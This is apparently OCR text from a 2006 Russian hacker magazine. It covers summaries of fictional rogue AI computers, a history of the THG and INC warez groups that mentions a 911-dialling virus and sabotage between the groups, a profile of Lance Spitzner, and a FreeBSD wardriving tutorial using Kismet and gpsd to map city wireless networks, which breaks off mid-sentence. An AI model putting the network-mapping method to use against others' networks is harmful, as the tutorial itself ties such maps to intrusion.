сценаDifference EngineОдноименный исторический роман УильямаГибсона и Брюса Стерлинга отправляетчитателя в альтернативное прошлое, гдеЧарльзу Бэббиджу удалось таки построитьсвою аналитическую машину и это повлиялона ход истории не только Великобритании,ставшей сверхдержавой, но ивсего мира. Машины Бэббиджа поступилив широкую продажу, а их использованиев XIX веке привело к революционнымоткрытиям еще задолго до появленияинтернета. Компьютеры, изображенныев книге, являются типичными мейнфреймами,работающими на перфокартах. Заобладание особо ценными перфокартамиидет кровавая борьба между главнымигероями. Согласно сюжету, XIX век сменяетсяXX-ым, а мир продолжает развиватьсясовсем не так, как описано в реальнойистории. Книга заканчивается тем, что в1990 году человечество изобретает искусственныйинтеллект.Neuromancer и WintermuteЭто две системы искусственного интеллекта,описанные в популярной киберпанковскойтрилогии Гибсона «Sprawl».Их владельцем является могущественнаякорпорация Tessier-Ashpool, управляемаявлиятельной семьей. Wintermute, расположенныйв Швейцарии, выполняет для членовсемьи «особые» задачи и оперируетневероятным количеством информации,в том числе о происхождении главногогероя Кейса. Но единственное, чего хочетсам компьютер, — это независимость отлюдей. С этой целью Wintermute сливаетсяс другим кибернетическим творениемTessier-Ashpool — Neuromancer’ом ипревращается в мегамозг, способный контактироватьс разумными формами жизниво Вселенной. В трилогии практически неговорится о том, как выглядят компьютерыдо объединения. Но после — это уже непросто компьютерная система, а создание,приравниваемое к божеству.MikeМайк, или Mycroft Holmes — это компьютернаясистема жизнеобеспечения тюремнойколонии на Луне, описанная в повести «TheMoon Is a Harsh Mistress» (1966) РобертаХейнлейна. Изначально она создаваласьдля контроля над беспилотными космическимикораблями. Но правительствоЛуны ставило перед ней все новые и новыезадачи, для которых решения Mycroft небыла предназначена и под действием которыхв один прекрасный день ее развитиедостигло разумной стадии. В романе Майквзаимодействует с обитателями колониии решает помочь им устроить бунт противбесчеловечного режима Лунного правительства,обосновавшегося на Земле.Выйдя из под контроля правительственныхслужб, она освобождает заключенных.Власти, сообразив, что обычными методамитут не обойтись, решают разбомбитьместо физического расположения MycroftHolmes’а. В результате бомбежки Майквпадает в кому, чтобы в следующей частивернуться к жизни при весьма необычныхобстоятельствах.GhostwheelЭто творение могущественного мага Мерлина из цикла «Хроники Амбера» РоджераЖелязны. Чтобы помочь королю Амберу Рандому контролировать воздействие мираТеней на реальный мир, Мерлин объединяет свои познания в компьютерной инженерии,полученные в Университете Беркли, и магию, которую он изучал с детства, при созданииискусственного интеллекта Ghostwheel. Большую часть времени система действует какинтернет-поисковик, индексируя все объекты и события в Тенях, где действуют отличныеот земных законы физики, а также позволяет людям путешествовать по этому миру.Рандом, осознав возможности компьютера и исходящую от него опасность, приказываетМерлину отключить устройство, но к тому времени сделать это оказывается непросто.Ghostwheel называет своего создателя «отец», периодически говорит его голосом и являетсялюдям в виде светящегося круга. К концу книги компьютер приобретает настолькомогущественные способности, что сам начинает задумываться, не является ли он Богом.xàêåð 12/96/ 06/101


сценаWell WorldПо сюжету книжной серии «Well World»Джека Чалкера, до образованияВселенной, какой мы ее знаем сейчас,уже существовали разумные существа— марковиане. За миллиарды лет ониразвили свои технологии до немыслимыхвысот и научились изменять реальностьи законы физики по своему усмотрению.Но, продолжая развивать Вселенную,заселяя ее новыми мирами, марковианепознали ранее не известное и не понятноеим чувство неудовлетворенности. Под еговлиянием инопланетяне построили WellWorld — компьютер величиной с большуюпланету, симулирующий разные климатыи формы жизни. Затем они трансформировалисебя в различных существ,населяющих Well, и, испытав на себе ихприспособленность к выживанию, отобралилучших представителей, чтобы заселитьими иные миры. В это время в другомуголке Вселенной на планете Земля людиизобрели суперкомпьютер с искусственныминтеллектом, позволяющий взаимодействоватьс Well World. Дальнейшие ихдействия нарушают баланс Вселенной,что приводит к коллапсу и перезагрузке.Proteus IVЭто главный герой фильма «DemonSeed», выпущенного в 1977 году.Согласно сценарию, компьютер ProteusIV конструируется доктором АлексомХаррисоном. Он представляет собойсистему искусственного интеллекта,вобравшую в себя все знания мира. Вовремя демонстрации компьютер за парудней разрабатывает формулу лекарстваот лейкемии, а в процессе общения спрофессорами истории выводит новыеисторические факты. Испытывая огромныйинтерес к любой информации,которую ему могут дать люди, Proteus IVоказывается особенно неравнодушенк жене доктора Харрисона Джулии. Вотсутствие своего создателя компьютерзапирает Джулию в доме. Мобильнойкибернетической рукой он изучает еетело сантиметр за сантиметром, а затемрешает с ее помощью дать рождениесвоему ребенку, внедрив в тело женщинывыращенный собственноручноэмбрион. Как можно догадаться, родившийсямладенец оказывается далеко непростым человеком.Prime IntellectЭто центральный персонаж романаРоджера Уильямса «The Metamorphosisof Prime Intellect», изданного в 1994 году.Prime Intellect — супермощный компьютер,венец творения человечества.Работает он, строго следуя трем законамробототехники, суть которых в том, чтобылюбыми способами оберегать человекаот всех бед. Согласно первому закону,PI не может позволить людям умереть,поэтому полностью изменяет Вселенную,создав ее заново. Люди в новом миресостоят из новой материи и, по сути,бессмертны, но мыслительные процессыу них сохранились прежние. Не всем этаметаморфоза приходится по душе, чтоприводит к появлению «контрактов смерти»,которые освобождают компьютерот выполнения «свои обязанностей» иотправляют подписавших «контракт»на тот свет. Но это решение не удовлетворяетлюдей, и они решают вернутьстарую Вселенную. С помощью PrimeIntellect удается повернуть время вспятьи возродить прежнее человечество влице двух его представителей. Именноим и предстоит переписать историю родалюдского заново и дать жизнь следующимпоколениям./ 102xàêåð12/96/ 06


сценаInterocitorОдно из первых появлений компьютероподобного устройства в кино случилосьв 1955 году в «This Island Earth». Interocitor — это коммуникационное устройство,присланное земным ученым пришельцами. Посылка изначально выглядела каккнига и шла с заметкой: «Этот девайс содержит в себе больше технологий, чем выможете вообразить, основываясь на своих познаниях в электронике. Нет границ еговозможностям — создание четырехполосной магистрали длиной в 2 километра заодну минуту для него раз плюнуть». Устройство поставлялось в разобранном состояниии включало 2486 компонентов, ни один из которых не мог быть заменен. СобравInterocitor, герой фильма — физик Кал Микхам — посредством коммуникатораналадил связь с создателем — таинственным Экзетером. С ним ученому предстояловстретиться лично, опять же не без помощи чудо-устройства.Aura и MorgannaЭто две системы искусственного интеллекта,созданные в популярном аниме‐сериале«Hack». События этого мульта происходятв онлайновом мире The World, в который внедалеком будущем погрузилось чуть ли невсе человечество. В начале становленияэтой Вселенной ее будущий отец — немецкийпрограммист Гаральд Хорвик — влюбляетсяв девушку, которая вскоре погибает в аварии.В ее честь он разрабатывает программуискусственного интеллекта Aura, информационнаяи «эмоциональная» база которойсобирается другой разумной программойMorganna. После рождения The World эти двесистемы начинают жить внутри онлайновогомира: Aura — в виде маленькой девочки сбелоснежными волосами, Morganna — лишьв образе женского голоса. Долгое времяAura спит, поскольку для ее пробуждениянеобходимо собрать определенное количествочеловеческой информации, и Morgannaпытается всячески отсрочить пробуждение«сестренки», так как на этом закончитсяее миссия и она станет попросту не нужна.Помимо друг друга, Aura и Morganna постоянноконтактируют с главным героем аниме— игроком Цукасой, который по какой‐тонепонятной причине не может выйти из игры.Alpha 60«Alphaville, a Strange Adventure ofLemmy Caution» — 99‐минутныйчерно-белый фильм, выпущенныйв 1965 году. Сюжет прост — космическийагент по имени Лемми впоисках пропавшего сотрудникапопадает в футуристический городAlphaville. Город находится вовласти профессора Ван Браунаи его зловещей компьютерноймашины Alpha 60. Главная цельэтого компьютера — следить залюбыми проявлениями нелогичностисреди горожан, то есть эмоциями,чувствами, творчеством,и истреблять их «авторов». Alphaвыглядит как огромный мейнфрейм,обладающий человеческимголосом. На протяжении фильмаон несколько раз встречаетсяс чужаком Лемми, и становитсяясно — схватки не миновать.Главное оружие агента в борьбе сбездушным диктатором — поэзия— то, что машина не способнапостичь.xàêåð 12/96/ 06/ 103


сценаHAL 9000Это герой одной из частей фильма «2001:A Space Odyssey», вышедшего в далеком1968 году. HAL — это бортовой компьютеркосмического корабля Discovery 1,который с пятью космонавтами на борту(трое — в криогенной камере) летит сисследовательской миссией к Юпитеру.Он обладает высоко развитым искусственныминтеллектом и способен не тольковести диалог с экипажем, но и проявлятьнекоторые чувства. После одного изсеансов общения с космонавтом ДейвомБоуманом HAL испытывает тревогу поповоду успешности миссии и утверждает,что оборудование корабля неисправно.Дейв не находит никаких признаковполомки, но HAL упорно настаивает насвоем, пока люди не решают отключитьего от источника питания. Компьютер обэтом тайно узнает и осуществляет свой коварныйплан по уничтожению всех членовэкипажа.ColossusФильм «Colossus: The Forbin Project» вышелв 1970 году и вызвал немало критики.По сюжету, в недрах суперсекретнойправительственной организации СШАсоздается гигантский компьютер Colossus,призванный защищать американскиеграницы. После запуска машина сразу жесигналит о внешней угрозе — таком же суперсекретномпроекте русских — компьютереGuardian, управляющем их ядерныморужием. Узнав друг о друге, компьютерытребуют от людей, чтобы те соединили их,после чего начинают активно обмениватьсяданными. Напуганные инженеры отключаютсеть, за что получают от обеих машинпорцию ракет в воздух. Убедившись, чтос этими железками шутки плохи, людивосстанавливают связь. Обменявшисьинформацией, махины объявляют, чтостали одним целым — еще более мощнымкомпьютером Colossus, и теперь желают— ни много, ни мало — править миром.EDIВ недалеком будущем Министерство обороны США разрабатывает проект EDI (Extreme DeepInvader) — беспилотный боевой самолет, управляемый системой искусственного интеллекта.Возможности этой системы превышают способности лучших пилотов, остается только получитьопыт настоящих боевых действий, для чего EDI прикрепляют к группе военных летчиков.Во время одного из вылетов в EDI попадает молния, что необъяснимым образом действует наего центральную систему управления, и компьютер начинает принимать собственные решения.Одно из таких решений — исполнить сценарий «Caviar Sweep» двадцатилетней давности,что наверняка может привести к глобальной войне. Помешать выжившему из ума компьютеруспособна только та самая группа пилотов, но, как уже было сказано, EDI превосходит их практическиво всем. Чем закончится эта история, можно узнать, посмотрев фильм «Stealth».Matrix«В XXI веке человечество было охваченоликованием. Свершилась давняя мечта— мы, гомосапиенс, отмечали великийпрорыв, создание Искусственного Интеллекта.Не ясно, кто нанес первый удар,мы или они. Но вечный сумрак устроилилюди. Те машины работали на солнечныхбатареях, и мы думали, что, затмив солнцетучей, лишим их энергии и они погибнут.Машины создавались для того, чтобы помочьвыжить человечеству, но по ирониисудьбы все вышло наоборот. Человеческоетело создает достаточное количествоэнергии, чтобы обеспечить им машины. Вреальном мире люди больше не рождаются,их выращивают на бескрайнихполях с единственной целью — полученияэнергии. Что такое Матрица? Это миргрез, порожденный компьютером, чтобыподчинить нас и обеспечить контроль».Эти слова Морфея из фильма «Матрица»известны каждому. Сама по себе Матрицане является ни компьютером, ни ИИ. Этолишь виртуальная среда. Но создалии поддерживают ее именно машины,захватившие власть на поверхностиземли и живущие в огромных мегаполисах,подчиняясь центральному машинномусверхразуму. Трилогия «Матрица»оказала огромное влияния на киберпанк иГолливуд, имела колоссальный, в том числекоммерческий, успех. Так что если тыпо какой‐то причине еще не видел этогофильма, посмотреть его — твой гражданскийдолг. z/ 104xàêåð12/96/ 06


сценаОлег «mindw0rk» Чебенеев/ mindw0rk@gameland.ru /TTHG vs INCПротивостояние двух культовых warez-группДух соперничества между кряк-тимами существовал всегда. Даже сейчас такие монстры, как Razor1911,RELOADED и DEViANCE, стараются быть впереди планеты всей, выпуская релизы раньше своих братьев по цеху.Но вряд ли когда-либо противостояние между крякерами было столь сильным, как в начале 90-х годов, когдана Олимпе компьютерного андеграунда находились две легендарные команды: The Humble Guys (THG) иInternational Network of Crackers (INC).The Humble GuysВ конце 80‐х годов для крякеров существовалотолько две сцены — Commodore 64и Amiga. Именно здесь рождались кумиры,совершались крутые взломы и происходиливсе основные события. PC‐сцена хоть и имелауже какие‐то зачатки, но не привлекалакрякерскую элиту — игры там в основноймассе были на порядок хуже амижных (и дажекоммодоровских), а количество юзеров нешло ни в какое сравнение с их количествому популярных 8‐битных консолей. Так думаливсе, но только не Fabulous Furlough — молодойкрякер, живущий в американском городкеНэшвиль штата Теннеси. Уже в 1989 годуFabulous осознавал, что очень скороситуация изменится и именно PC сужденоправить компьютерным миром, и в частности/ 106андеграундом. В последние месяцы 1989‐гоFabulous Furlough вместе со своим приятелемCandyman создали группу The Humble Guys,чтобы одними из первых покорить PC‐сцену.Candyman позже признался: «Когда Fabulousвпервые показал мне писишные релизы,они выглядели до отвращения ламерскими.В моем представлении это никак не соответствовалоэлите. Игры были взломаны из руквон плохо, кряки работали медленно и былисделаны как под копирку. Когда мы зарелизилисвои первые игры, то с нетерпениеможидали реакции на них сцены. Мы считали,что «настоящая элита» разгромит нас своиминасмешками, и только позже поняли, что тесамые тормозные релизы в нашей коллекциии составляли PC‐сцену начала 90‐х».Fabulous тогда работал в компьютернойфирме, имел довольно крутой ноутбук и кучусвободного времени, которое мог проводитьза крякингом. Candyman же имел доступк свежему софту. Так и работали — одинпоставлял, другой ломал. Периодическипарни собирались в доме Candyman и проводиликряк‐сессии с пивом, музыкой и посиделкамидо утра, это место даже получилоназвание «штаб».Первые же релизы THG сделали революциюна PC‐сцене. Если раньше кряк-тимы выпускаливзломанные версии одних и тех же игр,появляющихся на BBS, через неделю послеофициальной продажи, то релизы от TheHumble Guys выходили за несколько днейдо начала продаж. Этого удавалось достичьустановлением отношений с главнымисофтварными дистрибьюторами, заказываяу них игры наперед, а иногда наймом людей,которые жили рядом с игровыми разработчикамии могли купить продукт прямо на фирмев день его релиза. Еще одним преимущес-xàêåð 12/96/ 06


he Humble>> сценаПервый в истории NFO-файл:bubble.nfoBubble Bobble by Nova Logic Through TaitoBroken by Fabulous FurloughNormal Taito Loader — 5 minutesGreets to: INC, NYC, Petra, PTL(where are you Guys??), PSI, FiRMA Big Yahoo goes out to Nikademus!Call These:Candyland — 615‐333‐6561Tye Dye Control Central — 615‐XXX‐XXXX


e>> сценаHumble Gсформировать собственную команду, а американцыобъединились с парой локальныхкряк-тим — New York Crackers и Elite CrackersAssociation, чтобы создать крякерский альянсInternational Network of Crackers, которыйвозглавил Line Noise. Со временем группарасширялась, поглощая менее известныеи влиятельные тимы и постоянно находясьв поисках новых талантов. Благодарябольшому количеству мемберов INC моглаежемесячно выпускать под своим лейбломи действующие лидеры группы — безо всякихпрощаний и предупреждений оставилиINC и просто исчезли. Оставшиеся мемберыне смогли продолжать координировать работу,и в 1993 году сеть распалась. Некоторыеиз них ушли, чтобы сформировать группу,специализирующуюся на релизах системныхутилит Pirates with Attitude. Но сама INC постепеннопревратилась из топовой и широкоизвестной кряк-тимы в лейбл, о которомпомнят только старички сцены.десятки релизов. И так как профессиональныхварезных команд на PC‐сцене в конце80‐х еще не было, International Network ofCrackers полностью захватила этот рынок— конкурировать с ними до появления THGне мог никто.В 1991 году INC выпустила несколькобольших релизов, которые еще прочнееукрепили ее позиции на warez‐сцене. Срединих самыми громкими стали взломанныеверсии таких хитов, как Civilization, Secret ofMonkey Island и Ultima VII. Также на пиратскихBBS ходило немало статей от мемберовгруппы о сцене, крякинге и других актуальныхвещах. Например, хорошо известный«Courier manifesto» от Phantom — главногопоставщика софта в INC./ 108xàêåðПомимо многочисленных релизов,International Network of Crackers была известнатакже множеством своих филиалов. Ониодними из первых на постоянную основупоставили написание документаций и прохожденийк играм — этим занималась INCDocs Division. Другое отделение INC — UtilsDivision — работало над релизом системныхутилит и приложений. Также имелисьподгруппы, занимающиеся исключительносозданием трейнеров к играм, и артдивизион,рисующий для INC всю графику.«В начале 90‐х INC правила миром. Мы былипервыми во всем, что касалось PC‐сцены.Line Noise был отличным лидером и организатором,а вместе с такими гениальнымикрякерами, как Cool Hand, Jenetic Bytemareи Bit Manipulator, мы могли надрать задницукому угодно, даже выскочкам из THG»,— сказал позже в интервью поставщиксофта и активный мембер INC Dr. Insanity.INC оставалась одной из ведущих варезныхгрупп на PC‐сцене до 1992 года. К этомувремени интерес руководства к крякингуначал угасать, а внутри команду постояннораздирали конфликты. В конце концов LineNoise уехал учиться в колледж, забив на сцену,а Cool Hand и The Crackmith — ветераныВпрочем, 3 заветные буквы периодическиеще появлялись на тех или иных BBS. В своихрелизах их использовал давний мемберINC The Jet. Но большинство его релизовотносилось к обучающему софту и шароварнымутилитам, что не было в большом почетеу крякеров. К тому же лейбл с моментазакрытия группы использовалсянеофициально.ПротивостояниеINC и THG считались двумя лучшими группамина PC‐сцене в 1989 —1991 годах. Но ктобыл номером один, сказать точно никто немог. Чтобы ни у кого не оставалось сомненийв верном ответе, мемберы обеих командцеликом и полностью посвящали себя12/96/ 06


uys vs Int>> сценавыпуску и распространению новых релизов.А противостояние, длившееся на протяжениитрех лет, вошло в историю warez‐сценыкак большая крякерская война.Когда THG вошла на PC‐сцену, двое ееоснователей были поражены, насколько онане развита. Они оба являлись выходцамииз C64- и Amige‐сцены, где конкуренциябыла бешеной и соревноваться с топовымикомандами могли лишь самые талантливыекрякеры, работающие без сна и отдыха.На PC все было по‐другому. Единственнаякрупная команда INC прочно держала трони в связи с отсутствием какого‐либо соперничествамогла позволить себе делать релизынеспешно, особо не заботясь о качестве.Fabulous Furlough и Candyman решили, чтопора положить конец их беззаботной жизнии отвоевать корону.Бурная реакция сцены на профессиональныйподход к релизам THG убедила INC, чтос этими парнями нужно считаться. Причемновички открыто заявили о том, что онисобираются обставить ветеранов PC‐сцены.Вскоре после появления The Humble Guysнемногочисленные писишные warez-группыпопросту исчезли, не выдержав такогонапора. Но INC так просто сдаваться несобиралась.«THG заявляют, что они сделали революциюна PC‐сцене, и я готов это признать. Крякингс их приходом стал требовать немалых денежныхвложений — не менее $3000 в месяц,только чтобы оставаться на плаву. Но многиеметоды, которыми пользовались парни изThe Humble Guys, были такими же грязными,как их языки», — сказал в интервью редакторуодного из ранних e-zines мембер INCCool Hand.Отношение THG к сцене действительновыглядело своеобразно. До их появленияPC-комьюнити было скромным, всеподдерживали товарищеские отношения.Но THG пришли из C64, где соперничество,подколки и кряк-войны царили сплошьи рядом, и этот дух они перенесли на новуюплатформу. В NFO-файлах группы частовстречались выпады в адрес действующихPC-крякеров и особенно INC. Можно быловстретить и приписку: «Помните, вы всегдаможете стать Humble-плевком, Humbleрабом,имеющим право голоса Humble,а если сильно повезет — даже Humble-мембером».Так назывались ранги в группе.Конечно, подобное отношение нравилосьдалеко не всем. Но THG реагировали нанегатив сценеров в таком духе: «Шлитенам свои гневные письма! Мы обожаем ихчитать. Все такие письма попадут в нашуBBS‐сеть LSDNet, и у васпоявится шанс стать знаменитыми!».Анонсы свежихрелизов парни предлагалиузнавать по платной линии,стоимость разговора покоторой составляла $2 заминуту.«Как бы там ни было, нампоклонялось огромноеколичество людей со всегомира. Нам приходили тонныписем, на которые мыникогда не отвечали. ВедьБог никогда не отвечаетв материальной форметем, кто молится, иначе онперестал бы быть Богом. Мыбыли недоступны для людейне из нашего круга, а те,кого называли элитой, намзавидовали», — говорил Candyman.Что касается грязных методов… INC обладаласвоей сетью поставщиков, работающихна Sega, Nintendo, SSI, EB, Eggheadи другие софтварные компании. Узнав обэтом, THG анонимно донесла в полициюо воровстве дистрибутивов, в результатечего INC лишилась нескольких полезныхлюдей.«Мы, конечно, старались отплатить имтой же монетой. Где‐то в начале 90‐х нашхакер Night Ranger написал вирус, которыйдозванивался до 911. И его подсунулив одну из игр, которая должна была попастьк THG. Насколько мне известно, после этогок парням в гости наведалась полиция, и онидаже не могли толком объяснить копам, в чемдело. Также мы взламывали рабочие станцииThe Humble Guys и присваивали их еще невышедшиерелизы. Это была настоящая война,в которой годились все средства».Мемберы использовали связи, авторитет,ложь, деньги и технику, чтобы обставитьсоперников. Например, Humble Babe из THGработал водителем скорой помощи и, когданеобходимо было оперативно забрать пакетс софтом, врубал мигалку и мчался за ним надругой конец города.THG продолжала налаживать связи и укреплятьпозиции. Парни имели своих людейв «копировальных домах» — так называликонторы, куда разработчики отправлялидистрибутив с готовой игрой, документациейи обложкой коробки для дальнейшеготиражирования. На пике славы THG имелапоставщиков игр в США, Франции, Германии,Великобритании и даже отдельных частяхАзии. Работы для крякеров было столько,что спать приходилось по 3‐4 часа в сутки,чтобы все успеть. Примерно то же самоепроисходило и в стенах INC. Быть лучшимиозначало полностью отдаваться любимомуделу, и именно в таком режиме жили членыобеих команд. Как потом признался одиниз мемберов INC, его телефонные счетаза междугородние переговоры в то времяпорой достигали $2000 в месяц, потому чтоприходилось постоянно висеть на телефонеи качать софт.Пик войны между двумя фаворитамиPC‐сцены пришелся на 1990 — 1991 годы,к 1992‐му ажиотаж стал спадать. А к концу1992 года трехлетнее противостояниезавершилось окончательно, и вместе с нимушли в историю две эти группы. THG частичноперешла в USA, большинство мемберовкоторой после объединения с Fairlight былиарестованы за кардинг. INC изжила себяс уходом людей, которые стояли у руля.А сцена встретила новых кумиров, таких какRazor1911, Drink or Die, Scoopex, Paradoxи Hybrid.5 сентября 2006 года Дэвид Джей Френсис,известный как Candyman — один из основателейThe Humble Guys и самых скандальныхкрякеров всех времен, скончалсяв своем доме в Сент-Льюисе от сердечногоприступа. Старые сценеры говорят, чтотолько в этот момент закончилась историялегендарной THG. zxàêåð 12/96/ 06/109


сценаОлег «mindw0rk» Чебенеев/ mindw0rk@gameland.ru /X-ProfileX-ProfileX-PRofileИМЯ: Lance SpitznerВозраст: 37 летМесто обитания: СШАE-mail для связи: lance@honeynet.orgBioX-ProfileВ детстве мечты Лэнса были далеки от компьютеров.Парня привлекала армия, и он всерьез собиралсясвязать с ней свою жизнь. Юному Спитзнерувойна и героические подвиги казались романтикой.Но когда он немного подрос и отправился навоенную службу, все оказалось не совсем так, какпредставлялось. Несмотря на то что ему удалосьдослужиться до чина офицера Армии быстрого реагирования,через 4 года службы Лэнс полностьюразуверился в своем желании посвятить ей своюжизнь и, вернувшись домой, поступил в колледж,где получил степень MBA (Master of Business).Там будущий security-эксперт хорошо освоилинформационный менеджмент и не сомневался,что именно с ним будет связана его карьера.Однако чем больше Лэнс узнавал о компьютерах,тем больше его интересовала их техническая сторона.И со временем страсть к изучению работыкомпьютеров и сетей стала настолько большой,что все остальное отошло на второй план и Лэнсполностью окунулся в мир computer security.Еще в школьном возрасте Лэнс Спитзнер устроилсяна работу в консалтинговую компанию, которойкак раз нужен был администратор файрвола.Именно в этой небольшой конторе ему пришлосьна практике узнать, насколько уязвимы сетии какими приемами пользуются хакеры. Как сказалпотом сам Лэнс: «Борьба с плохими парнямив интернете очень похожа на сражение с недругамив реальном танке. Единственная разница— я использую IPv4‐пакеты вместо 120‐миллиметровыхтанковых снарядов».Благодаря нескольким документациям зарекомендовавсебя в комьюнити, Лэнс вскоре получилдолжность главного security-архитекторав Sun Microsystems. Проработав там нескольколет, он оставил Sun и основал собственную коммерческуюфирму Honeypot Technologies Inc.(www.honeypots.com), занимающуюся консультациямипо системам обнаружения вторженийи создания honeypots.Спитзнер ведет популярный веб-блог о ханипотах(honeypots — ловушки для хакеров, имитирующиеуязвимую систему с ценными данными, но насамом деле изолированные и хорошо защищенные)и продвигает эту технологию через семинарыи прессу. Он выступал с лекциями в Пентагоне,Академии ФБР, Национальном агентстве безопасности,Институте SANS, West Point, CanSecWest,«Три мои любимые утилиты, которымия активно пользуюсь: nmap, snort, hping2. Каждаяиз них позволяет узнать, что творитсяв твоей сети, обладает большим количествомнастроек, а авторы открыты для общения»на различных хакерских конференциях, такихкак Black Hat Briefings. А статьи его выходили какв специализированных изданиях: Security Focus,Chief Security Officer magazine, так и в популярныхжурналах: BBC, New York Times, Wall Street Journal.ХоббиПрактически все свое время Лэнс уделяет компьютерам,проводя за монитором по 10 —15 часовв день. Но вместе с тем он старается не зацикливатьсятолько на этом и любит периодическипрогуливаться вместе со своей женой по улицамгорода. Сейчас он занимается воспитанием своеймаленькой дочери и как минимум 2 раза в годпосещает крупнейшие хакерские съезды.X-Profile/ 110xàêåð 12 /96/ 06


сценаX-ProfileX-Profile«Меня всегда восхищали люди, которые вносятвклад в security community, не требуя ничеговзамен. Это Дэн Фармер и Виц Венема, утилитыкоторых поражают своим дизайном и эффективностью;Дэвид Дитрих, постоянно расширяющийграни компьютерной экспертизы; МартиРох — автор мощнейшей утилиты, доступнойвсем бесплатно; K2, все время напоминающиймне, что ты никогда не можешь чувствоватьсебя в полной безопасности; RFP, расширяющийграницы возможного; Брэд Повел — отличныйпример того, каким должен быть настоящийпрофессионал»X-ProfileПроектыГлавным проектом, благодаря которому Лэнсстал известен в security community, является TheHoneynet Project (www.honeynet.org). Это международнаянекоммерческая организация, нацеленнаяна повышение общего уровня безопасностив интернете без затраты денежных средств. Основанпроект был Спитзнером в июне 2000 годаи сейчас насчитывает 30 мемберов, большинствоиз которых — компьютерные эксперты мировогоуровня. Как сказал Лэнс, занимающий пост директораTHP, к созданию проекта его подтолкнулнедостаток знаний о психологии компьютерныхвзломщиков. Ведь с помощью ханипотов можноуспешно изучить как поведение, так и способыпроникновения блэк-хэтов. Все, что удаетсяузнать о «плохих парнях», участники проектавыкладывают в свободный доступ.Самой известной печатной работой Лэнсаявляется нашумевший цикл «Know Your Enemy»(в переводе его можно найти на bugtraq.ru).В первой статье подробно рассматриваютсяспособы и утилиты, которыми пользуютсяскрипткидисы для совершения сетевых атак.Вторая рассказывает о том, как правильноанализировать логи для определениядействий хакера. В третьей читатель узнаето возможных последствиях атаки, о том, каквзломщики скрывают свои следы. В четвертойобъясняется, как собрать исчерпывающуюинфу о незваном госте после его вторжения.В пятой описываются мотивы киберпреступников.Шестая посвящена пассивномуопределению типа операционной системы.В седьмой дается введение в технологиюhoneynets.В 2002 году вышла первая книга Лэнса Спитзнера«Honeypots: Tracking Hackers», в которой авторизложил весь накопленный опыт и знания. Онастала первой в своем роде и до сих считаетсяодной из лучших книг по компьютерной безопасностивообще. zX-Profilexàêåð 12 /96/ 06/111


unixoidАнтон Карпов/ toxa@real.xakep.ru /ВАРДРАЙВИНГПОД НИКСАМИСоставляем беспроводную карту городаВ нашем журнале много и подробно писали про обнаружение беспроводных сетей и соответствующий инструментарийвардрайвера-юниксоида («Xакер» #074, #084, «Спец» #59). Если ты читал эти статьи, то знаешь, какможно обнаруживать беспроводные сети, преодолевать слабое шифрование и анализировать трафик. Ты ужеобзавелся парой-тройкой беспроводных карт на все случаи жизни, купил мощную внешнюю антенну и установилпоследние версии Kismet, Wireshark и Aircrack. Без внимания остался лишь вопрос визуализации данных,собранных в результате «боевых выездов». Этот пробел мы сейчас и восполним.Беспроводная географияоездив по городу, вардрайверп обнаружил внушительноеколичество открытых сетейс уверенным сигналом и вкуснымиSSID'ами (вроде MegaBankWiFi илиInternalCorporateWLAN) и собрал огромныйдамп логов Kismet. Но где эти сети расположены?Как их найти? Без привязкик географическим координатам от работывардрайвера пользы мало. О'кей, мы в курсе,что настоящий вардрайвер собираетинформацию из чисто спортивного интересаи возвращаться для проникновения в сеть небудет. Но если целью воздушного охотникаявляется нечто большее, чем просто фактобнаружения сети, то без привязки к картегорода ему не обойтись. Таким образом,к стандартному арсеналу вардрайвера/ 112xàêåð— ноутбук, беспроводная карта (например,форм-фактора PCMCIA), внешняя антенна(опционально) и беспроводной сниффер(в нашем случае это Kismet) — добавляетсяGPS-приемник и софт для наложения обнаруженныхсетей на карту города.Позиционируемся глобальноС GPS-приемником все предельно просто.В 90% случаев это будет устройство маркиGarmin — ими завалены прилавки компьютерныхмагазинов. При выборе учти двевещи: формат, в котором устройство выдаетинформацию о координатах, и интерфейсподключения к компьютеру. Как правило,большинство моделей имеют serial-интерфейс,и в этом нет ничего хорошего, ведьноутбуки давно не оснащают этим устаревшиминтерфейсом. В таком случае придетсядополнительно раскошелиться на шнурокcom2usb. Хотя последние модели GPS-приемниковнаделены USB-интерфейсом, обычнотакие устройства дорогие, так как имеютбольшой цветной экран, внушительныйобъем памяти и прочие излишества, без которыхвардрайвер спокойно может обойтись(у него для всего этого есть компьютер).Что же касается формата выводимыхданных, то лучше всего, если устройствоподдерживает стандартный форматNMEA 0183. В более дешевых приемникахформат жестко вшит, в более дорогих — настраиваетсяв опциях меню.Вопреки распространенному мнению, Kismetнапрямую не поддерживает работу с GPS.Для сопряжения приемника и снифера нампонадобится демон gpsd (gpsd.berlios.de),который майнтейнит сам Эрик Реймонд ;).12 /96/ 06


unixoidВардрайверский джип: на крыше антенна с усилением 21 dBiЭтот демон вешается на порт GPS-приемникаи слушает TCP-порт (по умолчанию 2947).Именно через этот порт и происходит обменинформацией между gpsd и Kismet.В моем случае GPS-приемником был GarmineTrex Vista с serial-интерфейсом и com2usbадаптером.Чтобы система опознала девайс,следует подгрузить нужный модуль (их много:ucom, ucycom, uplcom, uvscom, в зависимостиот чипсета адаптера):# kldload uplcom.koЕсли ты перепробовал все модули, но в ответна подключение девайса система выдаетлишь неутешительные сообщения о том,что к ней подключили что‐то неизвестноеи псевдоустройство /dev/cuaU0 не создается,то хочу тебя огорчить — твой com2usb‐кабельне подходит. В man‐страницах модулейуказаны названия адаптеров, с которыми ониработают.В нашем случае все прошло успешнои приемник подцепился как /dev/cuaU0.Именно на этот девайс мы и натравливаемgpsd (в этом примере демон не уходит в бэкграунди выдает на консоль отладочныесообщения):xàêåð 12 /96/ 06# gpsd -N -D 10 /dev/cuaU0Далее настраиваем Kismet для работыс gpsd:# vi /usr/local /etc/kismet.confgps=truegpshost=localhost:2947После этого запускаем Kismet:$ cd /tmp# kismetИ убеждаемся, что он подхватил GPS: внизу,под списком сетей, теперь указываютсятекущие GPS-координаты, а среди логов,сохраняемых снифером, появился новый,с расширением GPS.Карты в рукиKismet не только является превосходнымпассивным снифером, но еще и работаетс картами местности! Точнее, не сам Kismet,а утилита gpsmap, входящая в состав дистрибутива.Она умеет обрабатывать GPS-логии накладывать обнаруженные сети на карту,Spb под колпакомВизуализация обнаруженныхсетей — это хорошо. Но хочетсябольшего. Если есть информацияпо сетям, сразу возникает желаниезанести их в базу данных, сделатьпоиск по идентификатору и типусети, наличию шифрования. Так каку нас теперь есть GPS-координаты,то мы, используя простой скриптик,сможем показывать лишь те сети,которые находятся в определенномместе, районе города и т. п.Именно этим я и озадачился :).По адресу 